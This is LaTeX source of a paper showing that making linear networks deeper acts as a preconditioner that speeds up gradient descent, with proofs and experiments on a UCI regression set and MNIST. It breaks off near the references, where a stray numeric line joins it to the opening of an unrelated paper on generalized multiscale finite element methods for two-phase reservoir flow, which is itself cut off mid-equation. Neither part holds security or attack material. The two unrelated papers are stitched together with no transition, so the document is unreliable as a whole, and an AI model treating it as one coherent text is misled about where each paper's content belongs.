where~$P_{W_e^{(t)}}$ is a positive semidefinite preconditioning matrix that depends on~$W_e^{(t)}$.
Namely, if we denote the singular values of~$W_e^{(t)}\in\R^{k,d}$ by $\sigma_1\ldots\sigma_{\max\{k,d\}}\in\R_{\geq0}$ (by definition $\sigma_r=0$ if $r>\min\{k,d\}$), and corresponding left and right singular vectors by $\uu_1\ldots\uu_k\in\R^k$ and $\vv_1\ldots\vv_d\in\R^d$ respectively, the eigenvectors of~$P_{W_e^{(t)}}$ are:
\vspace{-1mm}
$$vec(\uu_r\vv_{r'}^\top)\quad,r=1\ldots{k}~,~r'=1\ldots{d}$$
\vspace{-5mm}\\
with corresponding eigenvalues:
\vspace{-1mm}
$$\sum\nolimits_{j=1}^{N}\sigma_r^{2\frac{N-j}{N}}\sigma_{r'}^{2\frac{j-1}{N}}\quad,r=1\ldots{k}~,~r'=1\ldots{d}$$
\vspace{-7mm}\\
\end{claim}
\vspace{-5mm}
\begin{proof}
The result readily follows from the properties of the Kronecker product~--~see Appendix~\ref{app:proofs:We_gd_vec} for details.
\end{proof}
Claim~\ref{claim:We_gd_vec} implies that in the end-to-end update rule of Equation~\ref{eq:We_gd}, the transformation applied to the gradient~$\frac{dL^1}{dW}(W_e)$ is essentially a preconditioning, whose eigendirections and eigenvalues depend on the singular value decomposition of~$W_e$.
The eigendirections are the rank-$1$ matrices~$\uu_r\vv_{r'}^\top$, where~$\uu_r$ and~$\vv_{r'}$ are left and right (respectively) singular vectors of~$W_e$.
The eigenvalue of~$\uu_r\vv_{r'}^\top$ is~$\sum_{j=1}^{N}\sigma_r^{2(N-j)/N}\sigma_{r'}^{2(j-1)/N}$, where~$\sigma_r$ and~$\sigma_{r'}$ are the singular values of~$W_e$ corresponding to~$\uu_r$ and~$\vv_{r'}$ (respectively).
When~$N\geq2$, an increase in~$\sigma_r$ or~$\sigma_{r'}$ leads to an increase in the eigenvalue corresponding to the eigendirection~$\uu_r\vv_{r'}^\top$.
Qualitatively, this implies that the preconditioning favors directions that correspond to singular vectors whose presence in~$W_e$ is stronger.
We conclude that the effect of overparameterization, \ie~of replacing a classic linear model (depth-$1$ network) by a depth-$N$ linear network, boils down to modifying gradient descent by promoting movement along directions that fall in line with the current location in parameter space.
A-priori, such a preference may seem peculiar~--~why should an optimization algorithm be sensitive to its location in parameter space?
Indeed, we generally expect sensible algorithms to be translation invariant, \ie~be oblivious to parameter value.
However, if one takes into account the common practice in deep learning of initializing weights near zero, the location in parameter space can also be regarded as the overall movement made by the algorithm.
We thus interpret our findings as indicating that overparameterization promotes movement along directions already taken by the optimization, and therefore can be seen as a form of acceleration.
This intuitive interpretation will become more concrete in the subsection that follows.
A final point to make, is that the end-to-end update rule (Equation~\ref{eq:We_gd} or~\ref{eq:We_gd_vec}), which obviously depends on~$N$~--~number of layers in the deep linear network, does \emph{not} depend on the hidden widths $n_1\ldots{n}_{N-1}$ (see Section~\ref{sec:lnn}).
This implies that from an optimization perspective, overparameterizing using wide or narrow networks has the same effect~--~it is only the depth that matters.
Consequently, the acceleration of overparameterization can be attained at a minimal computational price, as we demonstrate empirically in Section~\ref{sec:exp}.
\subsection{Single Output Case} \label{sec:dynamics:single}
To facilitate a straightforward presentation of our findings, we hereinafter focus on the special case where the optimized models have a single output, \ie~where~$k=1$.
This corresponds, for example, to a binary (two-class) classification problem, or to the prediction of a numeric scalar property (regression).
It admits a particularly simple form for the end-to-end update rule of Equation~\ref{eq:We_gd}:
\begin{claim}
\label{claim:We_gd_single}
Assume~$k=1$, \ie~$W_e\in\R^{1,d}$.
Then, the end-to-end update rule in Equation~\ref{eq:We_gd} can be written as follows:
\vspace{-5mm}
\bea
W_e^{(t+1)}\mapsfrom(1-\eta\lambda{N})\cdot{W}_e^{(t)}
\qquad\qquad\qquad\qquad\qquad
\label{eq:We_gd_single}\\
-\eta\|W_e^{(t)}\|_{2}^{2-\frac{2}{N}}\cdot\left(\tfrac{dL^1}{dW}(W_e^{(t)})+\right.
\qquad\qquad
\nonumber\\[-1mm]
\left.(N-1)\cdot{Pr}_{W_e^{(t)}}\big\{\tfrac{dL^1}{dW}(W_e^{(t)})\big\}\right)
\nonumber
\eea
\vspace{-5mm}\\
where~$\norm{\cdot}_{2}^{2-\frac{2}{N}}$ stands for Euclidean norm raised to the power of~$2-\frac{2}{N}$, and~$Pr_W\{\cdot\}$, $W\in\R^{1,d}$, is defined to be the projection operator onto the direction of~$W$:
\vspace{-1mm}
\bea
&&Pr_W:\R^{1,d}\to\R^{1,d}
\label{eq:proj}\\
&&Pr_W\{V\}:=
\begin{cases}
\frac{W}{\norm{W}_2}V^\top\cdot\frac{W}{\norm{W}_2} & ,~W\neq0 \\
\qquad\qquad0 & ,~W=0
\end{cases}
\nonumber
\eea
\end{claim}
\vspace{-5mm}
\begin{proof}
The result follows from the definition of a fractional power operator over matrices~--~see Appendix~\ref{app:proofs:We_gd_single}.
\end{proof}
Claim~\ref{claim:We_gd_single} implies that in the single output case, the effect of overparameterization (replacing classic linear model by depth-$N$ linear network) on gradient descent is twofold:
first, it leads to an \emph{adaptive learning rate} schedule, by introducing the multiplicative factor~$\norm{W_e}_{2}^{2-2/N}$;
and second, it amplifies (by~$N$) the projection of the gradient on the direction of~$W_e$.
Recall that we view~$W_e$ not only as the optimized parameter, but also as the overall movement made in optimization (initialization is assumed to be near zero).
Accordingly, the adaptive learning rate schedule can be seen as gaining confidence (increasing step sizes) when optimization moves farther away from initialization, and the gradient projection amplification can be thought of as a certain type of \emph{momentum} that favors movement along the azimuth taken so far.
These effects bear potential to accelerate convergence, as we illustrate qualitatively in Section~\ref{sec:acceleration}, and demonstrate empirically in Section~\ref{sec:exp}.
\section{Overparametrization Effects Cannot Be Attained via Regularization} \label{sec:impossible}
Adding a regularizer to the objective is a standard approach for improving optimization (though lately the term regularization is typically associated with generalization).
For example, AdaGrad was originally invented to compete with the best regularizer from a particular family.
The next theorem shows (for single output case) that the effects of overparameterization cannot be attained by adding a regularization term to the original training loss, or via any similar modification.
This is not obvious a-priori, as unlike many acceleration methods that explicitly maintain memory of past gradients, updates under overparametrization are by definition the gradients of \emph{something}.
The assumptions in the theorem are minimal and also necessary, as one must rule-out the trivial counter-example of a constant training loss.
\begin{theorem}
\label{theorem:impossible}
Assume~$\frac{dL^1}{dW}$ does not vanish at~$W=0$, and is continuous on some neighborhood around this point.
For a given~$N\in\N$, $N>2$,\note{
For the result to hold with~$N=2$, additional assumptions on~$L^1(\cdot)$ are required;
otherwise any non-zero linear function~$L^1(W)=WU^\top$ serves as a counter-example~--~it leads to a vector field~$F(\cdot)$ that is the gradient of~$W\mapsto\norm{W}_{2}\cdot{W}U^\top$.
} define:
\vspace{-2mm}
\bea
&F(W):=&
\label{eq:F}\\[-1mm]
&\norm{W}_2^{2{-}\frac{2}{N}}\cdot\left(\tfrac{dL^1}{dW}(W)+(N{-}1)\cdot{Pr}_W\big\{\tfrac{dL^1}{dW}(W)\big\}\right)&
\nonumber
\eea
\vspace{-5mm}\\
where~$Pr_W\{\cdot\}$ is the projection given in Equation~\ref{eq:proj}.
Then, there exists no function (of~$W$) whose gradient field is~$F(\cdot)$.
\end{theorem}
\vspace{-2mm}
\begin{proof} (sketch~--~full details in Appendix~\ref{app:proofs:impossible})
The proof uses elementary differential geometry~\cite{buck2003advanced}: curves, arc length and the fundamental theorem for line integrals, which states that the integral of~$\nabla{g}$ for any differentiable function~$g$ amounts to~$0$ along every closed curve.
Overparametrization changes gradient descent's behavior: instead of following the original gradient~$\frac{dL^1}{dW}$, it follows some other direction~$F(\cdot)$ (see Equations~\ref{eq:We_gd_single} and~\ref{eq:F}) that is a \emph{function} of the original gradient as well as the current point~$W$.
We think of this change as a transformation that maps one \emph{vector field} $\phi(\cdot)$ to another~--~$F_\phi(\cdot)$:
\vspace{-1mm}
\beas
F_\phi(W)=
\quad\qquad\qquad\qquad\qquad\\[-0.5mm]
\begin{cases}
\hspace{-0.5mm}\norm{W}^{2{-}\frac{2}{N}}\hspace{-1mm}\left(\phi(W){+}(N{-}1)\hspace{-0.5mm}\inprod{\phi(W)}{\frac{W}{\norm{W}}}\hspace{-0.5mm}\frac{W}{\norm{W}}\right)
& \hspace{-2.5mm},W{\neq}0 \\[-0.5mm]
\qquad\qquad\qquad\qquad\qquad0
& \hspace{-2.5mm},W{=}0
\end{cases}
\eeas
\vspace{-3mm}\\
Notice that for $\phi=\frac{dL^1}{dW}$, we get exactly the vector field $F(\cdot)$ defined in theorem statement.
We note simple properties of the mapping $\phi\mapsto{F}_\phi$.
First, it is linear, since for any vector fields $\phi_1,\phi_2$ and scalar~$c$: $F_{\phi_1{+}\phi_2}{=}F_{\phi_1}{+}F_{\phi_2}$ and $F_{c{\cdot}\phi_1}{=}c{\cdot}{F}_{\phi_1}$.
Second, because of the linearity of line integrals, for any curve~$\Gamma$, the functional $\phi\mapsto\int_{\Gamma}F_\phi$, a mapping of vector fields to scalars, is linear.
We show that~$F(\cdot)$ contradicts the fundamental theorem for line integrals.
To do so, we construct a closed curve~$\Gamma{=}\Gamma_{r,R}$ for which the linear functional $\phi\mapsto\oint_\Gamma{F}_\phi$ does not vanish at $\phi{=}\frac{dL^1}{dW}$.
Let $\e:=\frac{dL^1}{dW}(W{=}0)/\|\frac{dL^1}{dW}(W{=}0)\|$, which is well-defined since by assumption $\frac{dL^1}{dW}(W{=}0){\neq0}$.
For $r<R$ we define (see Figure~\ref{fig:curve}):
\vspace{-1mm}
$$\Gamma_{r,R}:=\Gamma_{r,R}^1~\to~\Gamma_{r,R}^2~\to~\Gamma_{r,R}^3~\to~\Gamma_{r,R}^4$$
\vspace{-7mm}\\
where:
\begin{itemize}
\vspace{-3mm}
\item $\Gamma_{r,R}^1$ is the line segment from~$-R\cdot\e$ to~$-r\cdot\e$.
\vspace{-2.2mm}
\item $\Gamma_{r,R}^2$ is a spherical curve from~$-r\cdot\e$ to~$r\cdot\e$.
\vspace{-2.2mm}
\item $\Gamma_{r,R}^3$ is the line segment from~$r\cdot\e$ to~$R\cdot\e$.
\vspace{-2.2mm}
\item $\Gamma_{r,R}^4$ is a spherical curve from~$R\cdot\e$ to~$-R\cdot\e$.
\vspace{-2.2mm}
\end{itemize}
With the definition of~$\Gamma_{r,R}$ in place, we decompose $\frac{dL^1}{dW}$ into a constant vector field $\kappa\,{\equiv}\,\frac{dL^1}{dW}(W{=}0)$ plus a residual~$\xi$.
We explicitly compute the line integrals along $\Gamma_{r,R}^1\ldots\Gamma_{r,R}^4$ for~$F_\kappa$, and derive bounds for~$F_\xi$.
This, along with the linearity of the functional $\phi\mapsto\int_{\Gamma}F_\phi$, provides a lower bound on the line integral of~$F(\cdot)$ over~$\Gamma_{r,R}$.
We show the lower bound is positive as $r,R\to0$, thus $F(\cdot)$ indeed contradicts the fundamental theorem for line integrals.
\end{proof}
\begin{figure}
\vspace{-2mm}
\begin{center}
\includegraphics[width=0.6\columnwidth]{curve}
\end{center}
\vspace{-4mm}
\caption{Curve $\Gamma_{r,R}$ over which line integral is non-zero.}
\label{fig:curve}
\end{figure}
\section{Illustration of Acceleration} \label{sec:acceleration}
To this end, we showed that overparameterization (use of depth-$N$ linear network in place of classic linear model) induces on gradient descent a particular preconditioning scheme (Equation~\ref{eq:We_gd} in general and~\ref{eq:We_gd_single} in the single output case), which can be interpreted as introducing some forms of momentum and adaptive learning rate.
We now illustrate qualitatively, on a very simple hypothetical learning problem, the potential of these to accelerate optimization.
Consider the task of linear regression, assigning to vectors in~$\R^2$ labels in~$\R$.
Suppose that our training set consists of two points in $\R^2\times\R$: $([1,0]^\top,y_1)$ and $([0,1]^\top,y_2)$.
Assume also that the loss function of interest is~$\ell_p$, $p\in2\N$: $\ell_p(\hat{y},y)=\frac{1}{p}(\hat{y}-y)^p$.
Denoting the learned parameter by $\w=[w_1,w_2]^\top$, the overall training loss can be written as:\note{
We omit the averaging constant~$\frac{1}{2}$ for conciseness.
}
\vspace{-2mm}
$$L(w_1,w_2)=\tfrac{1}{p}(w_1-y_1)^p+\tfrac{1}{p}(w_2-y_2)^p$$
With fixed learning rate~$\eta>0$ (weight decay omitted for simplicity), gradient descent over~$L(\cdot)$ gives:
\vspace{-1mm}
$$w_i^{(t+1)}\mapsfrom{w}_i^{(t)}-\eta(w_i^{(t)}-y_i)^{p-1}\quad,~i=1,2$$
\vspace{-5mm}\\
Changing variables per $\Delta_i=w_i-y_i$, we have:
\vspace{-1mm}
\be
\Delta_i^{(t+1)}\mapsfrom{\Delta}_i^{(t)}\big(1-\eta(\Delta_i^{(t)})^{p-2}\big)\quad,~i=1,2
\label{eq:illus_gd_delta}
\ee
\vspace{-5mm}\\
Assuming the original weights $w_1$ and~$w_2$ are initialized near zero, $\Delta_1$ and $\Delta_2$ start off at $-y_1$ and~$-y_2$ respectively, and will eventually reach the optimum $\Delta^*_1=\Delta^*_2=0$ if the learning rate is small enough to prevent divergence:
\vspace{-1mm}
$$\eta<\tfrac{2}{y_i^{p-2}}\quad,~i=1,2$$
\vspace{-5mm}\\
Suppose now that the problem is ill-conditioned, in the sense that $y_1{\gg}{y}_2$.
If $p=2$ this has no effect on the bound for~$\eta$.\note{
Optimal learning rate for gradient descent on quadratic objective does not depend on current parameter value~(\cf~\citet{goh2017why}).
}
If $p>2$ the learning rate is determined by~$y_1$, leading~$\Delta_2$ to converge very slowly.
In a sense, $\Delta_2$~will suffer from the fact that there is no ``communication'' between the coordinates (this will actually be the case not just with gradient descent, but with most algorithms typically used in large-scale settings~--~AdaGrad, Adam, \etc).
Now consider the scenario where we optimize~$L(\cdot)$ via overparameterization, \ie~with the update rule in Equation~\ref{eq:We_gd_single} (single output).
In this case the coordinates are coupled, and as~$\Delta_1$ gets small ($w_1$ gets close to $y_1$), the learning rate is effectively scaled by~$y_1^{2-\frac{2}{N}}$ (in addition to a scaling by~$N$ in coordinate~$1$ only), allowing (if $y_1{>}1$) faster convergence of~$\Delta_2$.
We thus have the luxury of temporarily slowing down~$\Delta_2$ to ensure that~$\Delta_1$ does not diverge, with the latter speeding up the former as it reaches safe grounds.
In Appendix~\ref{app:acceleration_bound} we consider a special case and formalize this intuition, deriving a concrete bound for the acceleration~of~overparameterization.
\section{Experiments} \label{sec:exp}
Our analysis (Section~\ref{sec:dynamics}) suggests that overparameterization~--~replacement of a classic linear model by a deep linear network, induces on gradient descent a certain preconditioning scheme.
We qualitatively argued (Section~\ref{sec:acceleration}) that in some cases, this preconditioning may accelerate convergence.
In this section we put these claims to the test, through a series of empirical evaluations based on TensorFlow toolbox (\citet{abadi2016tensorflow}).
For conciseness, many of the details behind our implementation are deferred to Appendix~\ref{app:impl}.
We begin by evaluating our analytically-derived preconditioning scheme~--~the end-to-end update rule in Equation~\ref{eq:We_gd}.
Our objective in this experiment is to ensure that our analysis, continuous in nature and based on a particular assumption on weight initialization (Equation~\ref{eq:Wj_agree}), is indeed applicable to practical scenarios.
We focus on the single output case, where the update-rule takes on a particularly simple (and efficiently implementable) form~--~Equation~\ref{eq:We_gd_single}.
The dataset chosen was UCI Machine Learning Repository's ``Gas Sensor Array Drift at Different Concentrations''~\cite{vergara2012chemical,rodriguez2014calibration}.
Specifically, we used the dataset's ``Ethanol'' problem~--~a scalar regression task with~$2565$ examples, each comprising~$128$ features (one of the largest numeric regression tasks in the repository).
As training objectives, we tried both~$\ell_2$ and~$\ell_4$ losses.
Figure~\ref{fig:exp_update_rule} shows convergence (training objective per iteration) of gradient descent optimizing depth-$2$ and depth-$3$ linear networks, against optimization of a single layer model using the respective preconditioning schemes (Equation~\ref{eq:We_gd_single} with~$N=2,3$).
As can be seen, the preconditioning schemes reliably emulate deep network optimization, suggesting that, at least in some cases, our analysis indeed captures practical dynamics.
\begin{figure}
\vspace{-3mm}
\begin{center}
\includegraphics[width=0.49\columnwidth]{exp_update_rule_L2}
\includegraphics[width=0.49\columnwidth]{exp_update_rule_L4}
\end{center}
\vspace{-6mm}
\caption{
(to be viewed in color)~
Gradient descent optimization of deep linear networks (depths~$2,3$) \vs~the analytically-derived equivalent preconditioning schemes (over single layer model; Equation~\ref{eq:We_gd_single}).
Both plots show training objective (left~--~$\ell_2$~loss; right~--~$\ell_4$~loss) per iteration, on a numeric regression dataset from UCI Machine Learning Repository (details in text).
Notice the emulation of preconditioning schemes.
Notice also the negligible effect of network width~--~for a given depth, setting size of hidden layers to~$1$ (scalars) or~$100$ yielded similar convergence (on par with our analysis).
}
\label{fig:exp_update_rule}
\vspace{-3mm}
\end{figure}
Alongside the validity of the end-to-end update rule, Figure~\ref{fig:exp_update_rule} also demonstrates the negligible effect of network width on convergence, in accordance with our analysis (see Section~\ref{sec:dynamics}).
Specifically, it shows that in the evaluated setting, hidden layers of size~$1$ (scalars) suffice in order for the essence of overparameterization to fully emerge.
Unless otherwise indicated, all results reported hereinafter are based on this configuration, \ie~on scalar hidden layers.
The computational toll associated with overparameterization will thus be virtually non-existent.
As a final observation on Figure~\ref{fig:exp_update_rule}, notice that it exhibits faster convergence with a deeper network.
This however does not serve as evidence in favor of acceleration by depth, as we did not set learning rates optimally per model (simply used the common choice of~$10^{-3}$).
To conduct a fair comparison between the networks, and more importantly, between them and a classic single layer model, multiple learning rates were tried, and the one giving fastest convergence was taken on a per-model basis.
Figure~\ref{fig:exp_main} shows the results of this experiment.
As can be seen, convergence of deeper networks is (slightly) slower in the case of~$\ell_2$ loss.
This falls in line with the findings of~\citet{saxe2013exact}.
In stark contrast, and on par with our qualitative analysis in Section~\ref{sec:acceleration}, is the fact that with~$\ell_4$ loss adding depth significantly accelerated convergence.
To the best of our knowledge, this provides first empirical evidence to the fact that depth, even without any gain in expressiveness, and despite introducing non-convexity to a formerly convex problem, can lead to favorable optimization.
\begin{figure}
\vspace{-3mm}
\begin{center}
\includegraphics[width=0.49\columnwidth]{exp_main_L2}
\includegraphics[width=0.49\columnwidth]{exp_main_L4}
\end{center}
\vspace{-6mm}
\caption{
(to be viewed in color)~
Gradient descent optimization of single layer model \vs~linear networks of depth~$2$ and~$3$.
Setup is identical to that of Figure~\ref{fig:exp_update_rule}, except that here learning rates were chosen via grid search, individually per model (see Appendix~\ref{app:impl}).
Notice that with $\ell_2$ loss, depth (slightly) hinders optimization, whereas with~$\ell_4$ loss it leads to significant acceleration (on par with our qualitative analysis in Section~\ref{sec:acceleration}).
}
\label{fig:exp_main}
\vspace{-3mm}
\end{figure}
In light of the speedup observed with~$\ell_4$ loss, it is natural to ask how the implicit acceleration of depth compares against explicit methods for acceleration and adaptive learning.
Figure~\ref{fig:exp_ada}-left shows convergence of a depth-$3$ network (optimized with gradient descent) against that of a single layer model optimized with AdaGrad~\cite{duchi2011adaptive} and AdaDelta~\cite{zeiler2012adadelta}.
The displayed curves correspond to optimal learning rates, chosen individually via grid search.
Quite surprisingly, we find that in this specific setting, overparameterizing, thereby turning a convex problem non-convex, is a more effective optimization strategy than carefully designed algorithms tailored for convex problems.
We note that this was not observed with all algorithms~--~for example Adam~\cite{kingma2014adam} was considerably faster than overparameterization.
However, when introducing overparameterization simultaneously with Adam (a setting we did not theoretically analyze), further acceleration is attained~--~see Figure~\ref{fig:exp_ada}-right.
This suggests that at least in some cases, not only plain gradient descent benefits from depth, but also more elaborate algorithms commonly employed in state of the art applications.
\begin{figure}
\vspace{-3mm}
\begin{center}
\includegraphics[width=0.49\columnwidth]{exp_vs_adagrad_adadelta_L4}
\includegraphics[width=0.49\columnwidth]{exp_adam_L4}
\end{center}
\vspace{-6mm}
\caption{
(to be viewed in color)~
\textbf{Left:}
Gradient descent optimization of depth-$3$ linear network \vs~AdaGrad and AdaDelta over single layer model.
Setup is identical to that of Figure~\ref{fig:exp_main}-right.
Notice that the implicit acceleration of overparameterization outperforms both AdaGrad and AdaDelta (former is actually slower than plain gradient descent).
\textbf{Right:}
Adam optimization of single layer model \vs~Adam over linear networks of depth~$2$ and~$3$.
Same setup, but with learning rates set per Adam's default in TensorFlow.
Notice that depth improves speed, suggesting that the acceleration of overparameterization may be somewhat orthogonal to explicit acceleration methods.
}
\label{fig:exp_ada}
\vspace{-3mm}
\end{figure}
An immediate question arises at this point.
If depth indeed accelerates convergence, why not add as many layers as one can computationally afford?
The reason, which is actually apparent in our analysis, is the so-called \emph{vanishing gradient problem}.
When training a very deep network (large~$N$), while initializing weights to be small, the end-to-end matrix~$W_e$ (Equation~\ref{eq:We}) is extremely close to zero, severely attenuating gradients in the preconditioning scheme (Equation~\ref{eq:We_gd}).
A possible approach for alleviating this issue is to initialize weights to be larger, yet small enough such that the end-to-end matrix does not ``explode''.
The choice of identity (or near identity) initialization leads to what is known as \emph{linear residual networks}~\cite{hardt2016identity}, akin to the successful residual networks architecture~\cite{he2015deep} commonly employed in deep learning.
Notice that identity initialization satisfies the condition in Equation~\ref{eq:Wj_agree}, rendering the end-to-end update rule (Equation~\ref{eq:We_gd}) applicable.
Figure~\ref{fig:exp_resnet_cnn}-left shows convergence, under gradient descent, of a single layer model against deeper networks than those evaluated before~--~depths~$4$ and~$8$.
As can be seen, with standard, near-zero initialization, the depth-$4$ network starts making visible progress only after about~$65K$ iterations, whereas the depth-$8$ network seems stuck even after~$100K$ iterations.
In contrast, under identity initialization, both networks immediately make progress, and again depth serves as an implicit~accelerator.
As a final sanity test, we evaluate the effect of overparameterization on optimization in a non-idealized (yet simple) deep learning setting.
Specifically, we experiment with the convolutional network tutorial for MNIST built into TensorFlow,\note{
\url{https://github.com/tensorflow/models/tree/master/tutorials/image/mnist}
}
which includes convolution, pooling and dense layers, ReLU non-linearities, stochastic gradient descent with momentum, and dropout~\cite{srivastava2014dropout}.
We introduced overparameterization by simply placing two matrices in succession instead of the matrix in each dense layer.
Here, as opposed to previous experiments, widths of the newly formed hidden layers were not set to~$1$, but rather to the minimal values that do not deteriorate expressiveness (see Appendix~\ref{app:impl}).
Overall, with an addition of roughly~$15\%$ in number of parameters, optimization has accelerated considerably~--~see Figure~\ref{fig:exp_resnet_cnn}-right.
The displayed results were obtained with the hyperparameter settings hardcoded into the tutorial.
We have tried alternative settings (varying learning rates and standard deviations of initializations~--~see Appendix~\ref{app:impl}), and in all cases observed an outcome similar to that in Figure~\ref{fig:exp_resnet_cnn}-right~--~overparameterization led to significant speedup.
Nevertheless, as reported above for linear networks, it is likely that for non-linear networks the effect of depth on optimization is mixed~--~some settings accelerate by it, while others do not.
Comprehensive characterization of the cases in which depth accelerates optimization warrants much further study.
We hope our work will spur interest in this avenue of research.
\begin{figure}
\vspace{-3mm}
\begin{center}
\includegraphics[width=0.49\columnwidth]{exp_resnet_L4}
\includegraphics[width=0.49\columnwidth]{exp_cnn}
\end{center}
\vspace{-6mm}
\caption{
(to be viewed in color)~
\textbf{Left:}
Gradient descent optimization of single layer model \vs~linear networks deeper than before (depths~$4,8$).
For deep networks, both near-zero and near-identity initializations were evaluated.
Setup identical to that of Figure~\ref{fig:exp_main}-right.
Notice that deep networks suffer from vanishing gradients under near-zero initialization, while near-identity (``residual'') initialization eliminates the problem.
\textbf{Right:}
Stochastic gradient descent optimization in TensorFlow's convolutional network tutorial for MNIST.
Plot shows batch loss per iteration, in original setting \vs~overparameterized one (depth-$2$ linear networks in place of dense layers).
}
\label{fig:exp_resnet_cnn}
\vspace{-3mm}
\end{figure}
\section{Conclusion} \label{sec:conc}
\vspace{-1mm}
Through theory and experiments, we demonstrated that overparameterizing a neural network by increasing its depth can accelerate optimization, even on very simple problems.
Our analysis of linear neural networks, the subject of various recent studies, yielded a new result: for these models, overparameterization by depth can be understood as a preconditioning scheme with a closed form description (Theorem~\ref{theorem:We_gf} and the claims thereafter).
The preconditioning may be interpreted as a combination between certain forms of adaptive learning rate and momentum.
Given that it depends on network depth but not on width, acceleration by overparameterization can be attained at a minimal computational price, as we demonstrate empirically in Section~\ref{sec:exp}.
Clearly, complete theoretical analysis for non-linear networks will be challenging.
Empirically however, we showed that the trivial idea of replacing an internal weight matrix by a product of two can significantly accelerate optimization, with absolutely no effect on expressiveness (Figure~\ref{fig:exp_resnet_cnn}-right).
The fact that gradient descent over classic convex problems such as linear regression with $\ell_p$~loss, $p>2$, can accelerate from transitioning to a non-convex overparameterized objective, does not coincide with conventional wisdom, and provides food for thought.
Can this effect be rigorously quantified, similarly to analyses of explicit acceleration methods such as momentum or adaptive regularization (AdaGrad)?
\newcommand{\acknowledgments}
{Sanjeev Arora's work is supported by NSF, ONR, Simons Foundation, Schmidt Foundation, Mozilla Research, Amazon Research, DARPA and SRC.
Elad Hazan's work is supported by NSF grant 1523815 and Google Brain.
Nadav Cohen is a member of the Zuckerman Israeli Postdoctoral Scholars Program, and is supported by Eric and Wendy~Schmidt.}
\ifdefined\COLT
\acks{\acknowledgments}
\else
\ifdefined\CAMREADY
\vspace{-2mm}
\section*{Acknowledgments}
\vspace{-2mm}
\acknowledgments
\fi
\fi
\section*{References}
{\small
\ifdefined\ICML
\bibliographystyle{icml2018}
\else
\bibliographystyle{plainnat}
\fi
|
1,477,468,750,009 | arxiv | \section{Introduction}
A large number of problems of fundamental and practical significance are described by partial differential equations with coefficients that vary over a wide range of length scales. For example, composite materials, porous media and turbulent transport in high Reynolds number flows are models of this type. The heterogeneity and high-contrast properties of the coefficients cause significant difficulty in analyzing these types problems. In this paper, we consider a two-phase flow model in which the so-called permeability coefficient is assumed to be highly heterogeneous. Solving this type of model problem on a fine scale that sufficiently captures the underlying behavior of the heterogeneity may become prohibitively expensive. As a result, methods that aim toward effectively reducing the dimension of the associated fine-scale system(s) have been a topic of continued interest in recent decades. For example, upscaling procedures (see, e.g., \cite{chen2003coupled,durlofsky1991numerical,wu2002analysis}) and multiscale methods (see, e.g., \cite{efendiev2011multiscale,jenny2003multi,wheeler2012multiscale,efendiev2009multiscale,hou1997multiscale} ) are approaches that have been shown to offer effective alternatives to direct fine-scale computations.
For upscaling, one derives a set of localized problems in which averaged quantities may be maintained while solving a lower dimensional global problem on a coarse grid. However, this type of approach may diminish important fine-scale information that has strong effect on the solution behavior. Multiscale methods, on the other hand, hinge on the the independent construction of a set of multiscale basis functions that are used to span a coarse-grid solution space. The coarse-grid discretization parameter may be much larger than the characteristic scale of heterogeneous coefficient, however, the multiscale basis functions inherently include the fine-scale information of the underlying heterogeneity of the medium.
In order to model multi-phase flow, local mass conservation for the fluid velocity fields is required. This requirement has motivated a variety of mass-conservative approaches, such as multiscale finite volume methods \cite{cortinovis2014iterative,jenny2003multi,lunati2004multi}, mixed multiscale finite element methods \cite{aarnes2004use,aarnes2008mixed,chen2003mixed,chung2015mixed}, mortar multiscale methods \cite{arbogast2007multiscale, peszynska2005mortar,peszynska2002mortar}, discontinous Galerkin (DG) methods \cite{du2018adaptive,kim2013staggered,cockburn2002local}, and postprocessing methods \cite{odsaeter2017postprocessing,bush2013application}. In this paper, we use a global continuous Galerkin (CG) method. An advantage of CG multiscale formulation is the relative ease of implementation. On the other hand, a CG solution does not automatically satisfy local conservation, which is essential in our model problem. In order to address this limitation, we adpot an analogous postprocessing technique from \cite{bush2014application}. In particular, after obtaining a multiscale solution, we solve an independent set of local auxiliary problems in order to obtain the locally conservative fluxes.
In terms of the standard Multiscale Finite Element Method (MsFEM), there are two main shortcomings. The first one is that only one basis in each local neighborhood may not be sufficient to guarantee an accurate approximation, especially when there are long channels and non-separable scales in the permeability field. The second limitation is that we often assume that the local boundary conditions are linear along the edges of coarse blocks, which may create a mismatch between multiscale solution and fine-scale solution on the coarse block boundaries. One such technique that may be used to reduce the effect of boundary terms is oversampling \cite{efendiev2000convergence,hou1997multiscale}. Oversampling involves the enlargement of the local computing regions in order to address the linear boundary values. A more recent method that serves to improve the accuracy of MsFEM is the Generalized Multiscale Finite Element Method (GMsFEM) \cite{efendiev2013generalized}.
GMsFEM is a flexible general framework that generalizes MsFEM by systematically enriching the coarse spaces. In particular, more basis functions are added to the initial approximation space in order to improve the accuracy of the multiscale solution. The creation of GMsFEM solution spaces often involves the construction of snapshot, offline, and online spaces \cite{chung2015residual,chung2017online} in order to streamline the procedure for repeated basis function computations. In order to construct an offline multiscale space, some well-designed local spectral problems are solved in order to obtain a set of basis functions that are independent of global information such as source terms and boundary conditions. These local problems are motivated by the convergence analysis, which offers a convergence rate of $1/\Lambda$, where $\Lambda$ is the smallest eigenvalue whose modes are excluded in the multiscale space. If we increase the number of offline bases to a certain number, the error decay will diminish, and in \cite{CHUNG201669}, it is shown that a good approximation from the reduced model can be expected only if the offline information is a good representation of the problem. Consequently, an online enrichment procedure is essential if the offline bases are not sufficiently accurate. The main idea in this paper is to enrich the offline space by incorporating a new set of basis functions in order to obtain a significant error decay. In \cite{chan2016adaptive,chung2015residual}, the authors propose an online construction resulting from the associated offline space. In consideration of fact that the offline bases are obtained independently through a set of local problems, one may seek to construct a set of bases that contain some global information. Based on this idea, we use residual-driven basis functions which are computed through a set of local problems. The analysis in \cite{chung2017online,chung2015residual} shows that the error decay is proportional to $1-\Lambda$.
The rest of paper is organized as follows. In Section 2 we introduce the model problem and the corresponding solution algorithm. In Section 3, we describe the Generalized Multiscale Finte Element Method (GMsFEM) and the construction of the online solution space. The post-processing technique that is used to ensure the local conservation of mass property is reviewed in Section 4. In Section 5 we offer a variety of numerical results to illustrate the effectiveness of the proposed methodology.
\section{Model problem}
\subsection{Two-phase model}
In this paper, we consider the dynamics of the movements of two immiscible fluids in a heterogeneous oil reservoir constrained in a domain $\Omega$. In particular, we model scenario where water is discharged to replace trapped oil in a saturated subsurface. Under the assumptions that the environment is gravity-free, capillary pressure is not included, and that two fluids fill the pore space we can apply Darcy's law combined with a statement of conservation of mass. The principle equations of the flow may then be stated as follows:
\begin{eqnarray}
\nabla\cdot \boldsymbol{v}=q, ~~ \text{where} ~~ \boldsymbol{v}=-\lambda(S)k(x)\nabla p\label{elliptic}
